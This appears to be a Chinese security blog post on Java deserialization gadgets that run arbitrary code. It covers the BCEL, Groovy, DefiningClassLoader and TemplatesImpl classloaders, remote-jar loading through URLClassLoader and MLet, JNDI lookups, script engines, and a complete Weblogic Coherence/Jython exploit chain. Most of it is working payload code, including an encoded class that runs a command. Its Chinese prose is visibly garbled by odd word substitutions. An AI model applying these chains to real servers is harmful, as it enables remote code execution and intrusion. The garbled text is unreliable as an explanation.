举个大略的例子,我们常用这类gadgets做反射调用实行对应的方法,首先它有一个条件便是我们能写出的正常代码便是链式构造,比如:
Runtime.getRuntime().exec(34;ls");
那如果对应类里面的getRuntime方法的描述符规定的访问权限不为public,我们就没法直接调用,这时候就须要获取到类后利用反射在中间实行一步AccessibleObject的setAccessible来取消默认Java措辞访问掌握检讨的能力,但它并没有返回值,以是无法在链中利用。因此单向代码利用链是无法实行有关联高下文代码的。这种操作常见于工具内部属性的增编削,没有返回值意味着我们无法布局出有效的实行链。
还有便是如果对应一些方法如果想要传入指定类型的参数工具,它不只意味着存在上面提到的问题,如果是自己加工过的工具须要知足的条件便是该工具要支持反序列化。
除此以外在须要回显或者做一些额外事情的场景是极受限定的,由于我们不只须要一个能够实行的代码高下文,同时还期望获取到当前实行环境中的高下文,实际的关键就成了我们须要让当前实行环境下的classLoader加载我们须要运行的代码或者通过其它脚本引擎加载代码。
单向代码利用链的缺陷也便是说我们为什么须要动态代码高下文实行?它实际上核心便是利用Java动态编译加载,做安全一样平常会常见于jsp shell的绕过中,当然这里由于有单向实行链的条件触发条件,以是没有jsp shell的姿势多,但是存在一些额外的合营其它类库的链。
动态代码高下文实行链这里简要分享部分可以通过单向代码实行链实行动态代码的办法和一些小事理,也欢迎补充。这里不谈论须要多次实行,和有文件落地的情形。
ClassLoaderloadClassassClassLoader的干系知识这里不详细说了紧张是类加载的干系知识可以自行查阅,实际上紧张符合的常见可直策应用的ClassLoader也不算多,由于它终极运行的核心都须要触发loadClass,正常走双亲委派流程,是须要定义好parentClassLoader的,除非是启动类加载器或者专门去冲破双亲委派的情形。以是在loadClass之前须要定义好当前的classLoader的实例才可以运行(即设定好parentClassLoader)。大部分第三方实现的ClassLoader都须要用户自行获取并传入自定义或高下文的classLoader工具,比如:
同时ClassLoader类也不支持序列化因此也无法传入,以是我们要找到直接可以调用的就须要知足它运行时自己获取了高下文的classLoader而不用我们传入。
比如:
org.mozilla.classfile.DefiningClassLoader groovy.lang.GroovyClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader ……defineClass前面讲了利用ClassLoader的首个条件,对付ClassLoader来获取class,它必经之路便是loadClass方法。纵然很多人说利用defineClass也可以布局一个class,但它实际上也会走次loadClass,我们可以大略过下事理。
首先加载类的话它会先考试测验加载父类。当我们调用defineClass的时候,它会走到Native方法defineClass1
ClassLoader.c#Java_java_lang_ClassLoader_defineClass1() -> jvm.cpp#JVM_DefineClassWithSource() -> jvm.cpp#jvm_define_class_common()
// common code for JVM_DefineClass() and JVM_DefineClassWithSource()// and JVM_DefineClassWithSourceCond()static jclass jvm_define_class_common(JNIEnv env, const char name,jobject loader, const jbyte buf,jsize len, jobject pd, const char source,jboolean verify, TRAPS) {if (source == NULL)source = "__JVM_DefineClass__";assert(THREAD->is_Java_thread(), "must be a JavaThread");JavaThread jt = (JavaThread) THREAD;PerfClassTraceTime vmtimer(ClassLoader::perf_define_appclass_time(), ClassLoader::perf_define_appclass_selftime(), ClassLoader::perf_define_appclasses(), jt->get_thread_stat()->perf_recursion_counts_addr(), jt->get_thread_stat()->perf_timers_addr(), PerfClassTraceTime::DEFINE_CLASS);if (UsePerfData) {ClassLoader::perf_app_classfile_bytes_read()->inc(len);}// Since exceptions can be thrown, class initialization can take place// if name is NULL no check for class name in .class stream has to be made.TempNewSymbol class_name = NULL;if (name != NULL) {const int str_len = (int)strlen(name);if (str_len > Symbol::max_length()) {// It's impossible to create this class;the name cannot fit// into the constant pool.THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name);}//为类创建符号class_name = SymbolTable::new_symbol(name, str_len, CHECK_NULL);}ResourceMark rm(THREAD);ClassFileStream st((u1) buf, len, (char )source);Handle class_loader (THREAD, JNIHandles::resolve(loader));if (UsePerfData) {is_lock_held_by_thread(class_loader, ClassLoader::sync_JVMDefineClassLockFreeCounter(), THREAD);}Handle protection_domain (THREAD, JNIHandles::resolve(pd));//从字节文件中为该类解析创建一个klassOop工具,表示Java类klassOop k = SystemDictionary::resolve_from_stream(class_name, class_loader, protection_domain, &st, verify != 0, CHECK_NULL);if (TraceClassResolution && k != NULL) {trace_class_resolution(k);}return (jclass) JNIHandles::make_local(env, Klass::cast(k)->java_mirror());}
这里紧张是末了调用 SystemDictionary::resolve_from_stream() 将Class文件加载成内存中的Klass。
在个中会走进一次 ClassFileParser::parseClassFile 函数
instanceKlassHandle k = ClassFileParser(st).parseClassFile(class_name, loader_data, protection_domain, parsed_name, verify, THREAD);
我们可以看到它在个中调用了 SystemDictionary::resolve_super_or_fail ,这个函数会对父类进行解析,由于我们defineClass的类是继续java.lang.Object的,以是会根据多态用我们利用的类加载器调用loadClass来加载java.lang.Object。
也便是说肯定会涌现父类(这里是java.lang.Object)进入到loadClass方法,而这时如果没有像前面说的设定classloader就会报空指针了。
DefiningClassLoader连续回归主题,在loadClass之前我们一样平常须要先直接调用defineclass方法去加载byte[]来布局一个Class工具返回,而实际情形很少有public的defineClass,也即我们无法直接调用它的defineClass方法。
以是紧张符合的类有两个条件,首先须要找到一个它运行初静态块或布局方法里,或defineClass这种会触发的方法,它们自己完成了获取了高下文的classLoader而不用我们传入,其次便是defineClass的访问权限为public,同时可以吸收byte或可序列化的类型在后续进行布局。
最常见的便是org.mozilla.classfile.DefiningClassLoader
DefiningClassLoader.class.newInstance().defineClass("cn.rui0.ClassLoader.HelloWorld", new byte[]{0,0,0}).newInstance()
传入的byte数组即由class转换,在class中我们可以写入任意代码来达到目的
GroovyClassLoader同上
GroovyClassLoader.class.newInstance().defineClass("cn.rui0.ClassLoader.HelloWorld", new byte[]{0,0,0}).newInstance()
也可以利用Groovy语法来实行高下文的多条代码,比如利用GroovyShell
GroovyShell.class.newInstance().evaluate("" +"def cl = this.class.classLoader\n" +"while (cl) {\n" +"println cl\n" +"cl = cl.parent\n" +"}");
字节码操作干系类,这里举例BCEL(Byte Code Engineering Library),是Java classworking最广泛利用的一种框架。它在实际的JVM指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist所强调的源代码级别的事情。
JDK1.6开始引入自带的BCEL,BCEL的ClassLoader对付高版本的JDK也是在实际中非常好利用的一种。须要把稳的是BCEL loadClass时候会有classpath的限定。
com.sun.org.apache.bcel.internal.util.ClassLoader.class.newInstance().loadClass("$BCEL$l$8b$I$A$A$A$A$A$A$A$8dT$ebR$dbF$U$fe$d6$96$bdB$88$9b$N$E$HB$93$5e$a8$J$60$e7$7e1$nmqI$9b$d6P$82$T$a8$a0m$o$e4$F$94$80$e4HrBf2$93$ff$7d$83$f4$Fx$D$3bSO$db$7f$f9$d1$t$e9S$d4$3d$x$e3$da4$ceL$3d$d6J$fb$ed$b9$7c$e7$b2$e7$cf$bf$7f$fd$j$c0$V$d8$g$3e$40V$c5$F$N$XqI$83$8a$cb$w$ae$c8$f7U$8ek$i$d7U$dcPqSEN$c5$bc$G$8e$5brY$d0p$h$9fq$7c$ae$e2$L$N$8b$c8k$Y$c4$97$iK$g$86q$87$e3$x$N$a3$c8$ca$cd$d7$f2$eb$ae$8ao8$be$95$9f$F$N$e3X$e6X$e1$f8$8e$n$7e$cbv$ec$e06$c3H$ba$f0$d8$7cff$f7Mg7$5b$M$3c$db$d9$9d$9f$5egP$f2nI0$M$UlG$acT$O$b6$85w$df$dc$de$t$a4$af$Y$98$d6$93e$b3$i$eeC$7b$d79V9$ee$R$x$oB$i$Y$b4$a5CK$94$D$dbu$7c$da$U$dd$8ag$89$3b$b6T$l$5c$f5$5cK$f8$fe$d2$a1$b02$d2$b3$8e$b3Xc$e0$ae$9fq$cc$D2X$d4q$l$Pt$acc$83$n$fa$dcvt$7c$P$83a$ac$cd$f3$d8$c6b$c5$de$_$J$8f$8c$fe7$E$86$88$bfG$cb$9cE$96$ad$83RF$i$92$efH$d6$92$de6ul$e1$H$8e$lu$fc$84$87$M$a9P$dbv$b3w$9dr$r$m$D$c2$3cX$Tfh9$ba$bb$fd$84$e3$91$O$T$dbR$97$ec$8d$b6$c4$X$x$3b$3b$c2$T$a5$a6$ac$3c$z$b5N$3b$a84$a5t$Il$e8$d8$BQc$gC$b2$z$f6o$aat$ecI$99$b38$c7$d0$db$91$s$wR$5b$3a$bfo$fa$7e$c1m$b2Kn$bd$5b$bc$96$ed$93$f1P$qiY$d6$ceL$bd$f0$DA$H$bd$bb$o$moe$e1$F$_$Y$a6$ba$f5C7$_$bd$81$5bp$9f$L$_o$fa$94$da$e1tW$n$d5r$9d$c0$b4e$X$8cw$g$ce$ef$99$5eQ$3c$ad$I$c7$S$f3$d3$9b$94$b6t$97P$q$e1$98$l$98$5e$m$fb$b4$d3$c1qv$c8$c3$d0$3b$mC$3fEt$o$f6S$z$e5$93I$99o5$95C$b8E$94$7c$R$84$d4$e8M$7d$b3$e3z$x$d4$91$M$99$f7$e7$a4$8b$sY$bd$94$ee$ea$ee$fd$w2$d2d$5b$a9$d9Q$n$aa$92fI$5eB$ba$b3f$b9$y$i$ea$b1$d9$ffU$a3f$e3$c9$o$En$T$c19L$d2$d0$91$3f$eaB$d9h$88$e0C$dal$o$8e$kB$8f$ce$d7$c0$94$85D$e4$N$a2$xso14W$85$92$88U$R$7f$8dXt$a1$OnL$bc$c6X$fc7$a8F4$d1S4$94$84V4b3$c5$p$8c$i$83$bd$S$d4C$b0$86$be$w$fa$ab$Y$c8$vu$M$g$v$r1$f4$G$89$g$92$b9X$j$c3F$wV$c3H$5e$c7$a8Q$c3$a9$ig95$V$afb$cc$c8$a9o$91L$f1$94ZE$wq$9a$96$8d$a3$c6_u$8c$h$v$5e$c5D$Ng$fe$m$aa$R$7cD$eb5$f4$d1$g$83B$B$c4i$3c$ea4$3e$t$u$94I$c8$a1$d1G$X$aa$l$3e$G$f0$92$a6$e4$x$q$f03$92$f8$85$86$e1$c7$a4$r$Qk$90$a0$c2$f1$J$c7$U$a3$Hh$90v$t$QQ1I$ff$G$86N$c0$d1$s$cc$f1i$83$86wO$fb$84$p$cd1$cdq$9ec$s4x$g$b3$e4J$a1l$8f$d33$X$S$cf$fc$D0$bd$y$da$E$G$A$A").getConstructor(new Class[]{String.class}).newInstance(new Object[]{"ifconfig"});
加载一个报错class。
如果有继续非 "java.", "javax.", "sun." 包中的类须要额外设置,由于调用BCEL无参的布局方法之后loadclass会走SyntheticRepository的,以是会有classpath限定。直接传classloader工具也可以不过它不支持序列化,以是可以通过添加ignored_packages来绕过限定。
com.sun.org.apache.bcel.internal.util.ClassLoader.class.getConstructor(new Class[]{String[].class}).newInstance(new Object[]{new String[]{"cn"}}).loadClass("$$BCEL$$$.......").getConstructor(new Class[0]).newInstance(new Object[]{});
这样就可以支持加载继续了cn包开头的类。
URLClassLoader比较常见了,紧张的问题是须要出网,不出网的话须要先在本地写入文件,这里不谈论这种情形。
ClassLoader是一个抽象类,很多方法是空的没有实现,比如 findClass()、findResource()等。而URLClassLoader这个实现类为这些方法供应了详细的实现,并新增了URLClassPath类帮忙取得Class字节码流等功能,实际上紧张还原class还是通过defineClass。
URLClassLoader.class.getConstructor(new Class[]{URL[].class}).newInstance(new Object[]{new URL[]{new URL("http://127.0.0.1:8011/r.jar")}}).loadClass("Rrrr").newInstance()
这里可以嵌套URL工具的缘故原由便是它符合了我们之条件到的支持序列化的条件,以是用gadget布局上面这条链是可以的。同时 java.net.URLClassLoader#URLClassLoader(java.net.URL[]) 一贯super调到了java.lang.ClassLoader里面的初始化以是拿到了systemClassloader。
对付不可直策应用的ClassLoader这里先不提,须要后面的其它办法合营。
TemplatesImpl这个属于实际中用到的最多的了,由于它存在于rt.jar里,正常情形下都可以用到,大家该当也都很熟习。详细可以参考ysoserial的createTemplatesImpl做大略的修正
public static Object createTemplatesImpl(Class transletPayload) throws Exception {// use template gadget classClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(transletPayload));//pool.insertClassPath(new ClassClassPath(abstTranslet));final CtClass clazz = pool.get(transletPayload.getName());if (clazz.isFrozen())clazz.defrost();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass superC = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superC);final byte[] classBytes = clazz.toBytecode();// inject class bytes into instanceObject templates = TemplatesImpl.class.newInstance();Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());return templates;}
public class TestTranslet{static {// code}}
将对应的实行代码编写到TestTranslet类的静态块中,初始化即可调用。
触发点可以调用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer ,它会触发getTransletInstance()然后根据_bytecodes去defineClass并且newInstance初始化。
可以利用TrAXFilter来合营
TrAXFilter.class.getConstructor(new Class[] { Templates.class }).newInstance(Gadgets.createTemplatesImpl(TestTranslet.class))
JNDI
16年的BlackHat上@pwntester分享了通过JNDI注入进行RCE利用,现在也是比较常见的方法。需出网,有jdk版本限定,都懂不多说了。
InitialContext.class.newInstance().lookup("ldap://127.0.0.1:1389/Rrrr")
ScriptEngine
jdk1.6开始就供应了动态脚本措辞诸如JavaScript动态的支持,1.8开始利用新的Nashorn JavaScript引擎。Nashorn通过在JVM上,以原生办法运行动态的JavaScript代码来扩展Java的功能。实际利用过程中须要考虑下版本的问题,payload有些地方要改动。
它可以用js语法来实行操作,当然它可以利用一些方法来引入java类,由此来通过Nashorn来操作java运行情形。
ScriptEngineManager.class.newInstance().getEngineByName("Nashorn").eval("print('---------');\n" +"var Thread = Java.type('java.lang.Thread');\n" +"var stack = Thread.currentThread().getStackTrace();\n"+"for (var i=0;i< stack.length; i++){print(stack[i])}\n"+"print('---------')\n")
因此可以来实行任意java高下文代的代码,如果想要直接加载java代码可以利用js语法调用java的classloader去defineClass加载,这时候就没什么前面说的限定了,由于我们可以利用反射了(没有利用SecurityManager或授权的情形下)。
JythonJython是用Java编写的,由于继续了Java和Python二者的特性而显得很独特,它是一种完全的措辞,而不是一个Java翻译器或仅仅是一个Python编译器。Jython是一个Python措辞在Java中的完备实现。在Java中实现Python可以看到有趣的Java反射API的浸染。反射使Jython能无缝地利用任何Java类。
PythonInterpreter.class.newInstance().exec("from java.lang import Thread;\n" +"stack=Thread.currentThread().getStackTrace();\n" +"for i in range(0, len(stack)):\n" +" print(stack[i])\n");
JRuby是一个纯Java实现的Ruby阐明器。通过JRuby,你可以在JVM上直接运行Ruby程序,调用Java的类库。
ScriptingContainer.class.newInstance().runScriptlet("stack= Java::java.lang.Thread.currentThread().getStackTrace()\n" +"stack.each do |i|\n" +" puts i\n" +"end\n");
由于支持JSR223,以是我们也可以用ScriptEngineManager来调用,或BSF。当然Java还支持其它的脚本措辞,这里不再举例。
EL实际上便是我们常见的EL注入的位置,选择一些支持多行实行的EL表达式进行操作,这里举例MVEL,语法更趋近于Java。当然并不是所有类型EL都支持都高下文的代码段,有部分只支持一个完全的代码片段即一个表达式。
MVEL.class.getMethod("eval",new Class[]{String.class}).invoke(null, "foreach(stack:Thread.currentThread().getStackTrace()){\n" + "System.out.println(stack);\n" + "}\n");
JMX的远程命令实行攻击手腕,利用MLet加载并实例化我们指定的远程jar,须要出网。
MLet.class.getConstructor(new Class[]{URL[].class}).newInstance(new Object[]{new URL[]{new URL("http://127.0.0.1:8011/exec.jar")}}).loadClass("ProcessExec").getConstructor(new Class[]{String.class}).newInstance(new Object[]{"ifconfig"});
实际场景中大多数是用自带的BCEL ClassLoader或者TemplatesImpl。
比如说Weblogic过滤了TemplatesImpl
那须要绑定rmi实例回显的办法就利用了DefiningClassLoader,后来高版本官方去掉了这个包,大家又开始利用URLClassLoader,不过有个条件便是须要出网,当然也可以合营一条写文件的gadget,只不过须要多次要求,还会留下文件痕迹。
上面总结了这些,不出网加载的话Weblogic还是可以利用BCEL ClassLoader的办法加载字节码,BCEL利用加载的classpath有限定,可以通过上面提到的添加ignored_packages来绕过,添加一个weblogic即可,不过不支持<jdk1.6版本。也可以用ScriptEngine不过须要差异jdk版本,同时如果版本太低也不支持。同时又翻了下Weblogic的包,创造也可以用Jython。
以是用Jython的办法合营Coherence的gadget会比较通用,这里来写一下。
由于全用Jython语法调Java还是有些大坑的,适度避免一下,以是首先翻了下Weblogic利用的Jython版本的包内容,创造存在org.python.core.BytecodeLoader
个中makeClass比较舒畅可以直接拿来用,不过存在的问题便是之前最开始提到的没有parentClassLoader
以是用直接调用BytecodeLoader是弗成的。
看了下调用流程创造利用PythonInterpreter实例化的时候会自动天生,以是恰好合营之前Jython的调用高下文代码方法。大致流程就成了 Coherence gadget -> PythonInterpreter exec -> BytecodeLoader makeClass
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getConstructor", new Object[]{new Class[0]});ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("newInstance", new Object[]{new Object[0]});ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec",new Object[]{"from org.python.core import BytecodeLoader;\n" +"from jarray import array\n" +"myList = [-54,-2,-70,-66,0,0,0,50,0,-64,10,......]\n" +"bb = array( myList, 'b')\n" +"BytecodeLoader.makeClass(\"RemoteImpl\",None,bb).getConstructor([]).newInstance([]);"});ValueExtractor[] valueExtractors = new ValueExtractor[]{reflectionExtractor1,reflectionExtractor2,reflectionExtractor3};Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));queue.add("1");queue.add("1");m_aExtractor.set(chainedExtractor1, valueExtractors);Object[] queueArray = (Object[]) cn.rui0.exp.utils.Reflections.getFieldValue(queue, "queue");queueArray[0] = PythonInterpreter.class;queueArray[1] = "1";
不是什么新东西,算一个利用思路吧,好久没写东西了顺手总结一下。当然提到的并不是全部,也欢迎补充。还有很多单语句的实行办法比如JShell,BeanShell这里不在谈论范围。最开始也说了这种办法是合营存在单向代码实行链拓展威力的一种方法,它的核心实在便是利用Java供应的动态编译,个中也有一部分是用自己的脚本解析引擎。事实上不只是反序列化,这类动态加载方法还可以合营单行实行的各种问题,比如只支持一个表达式的EL注入等。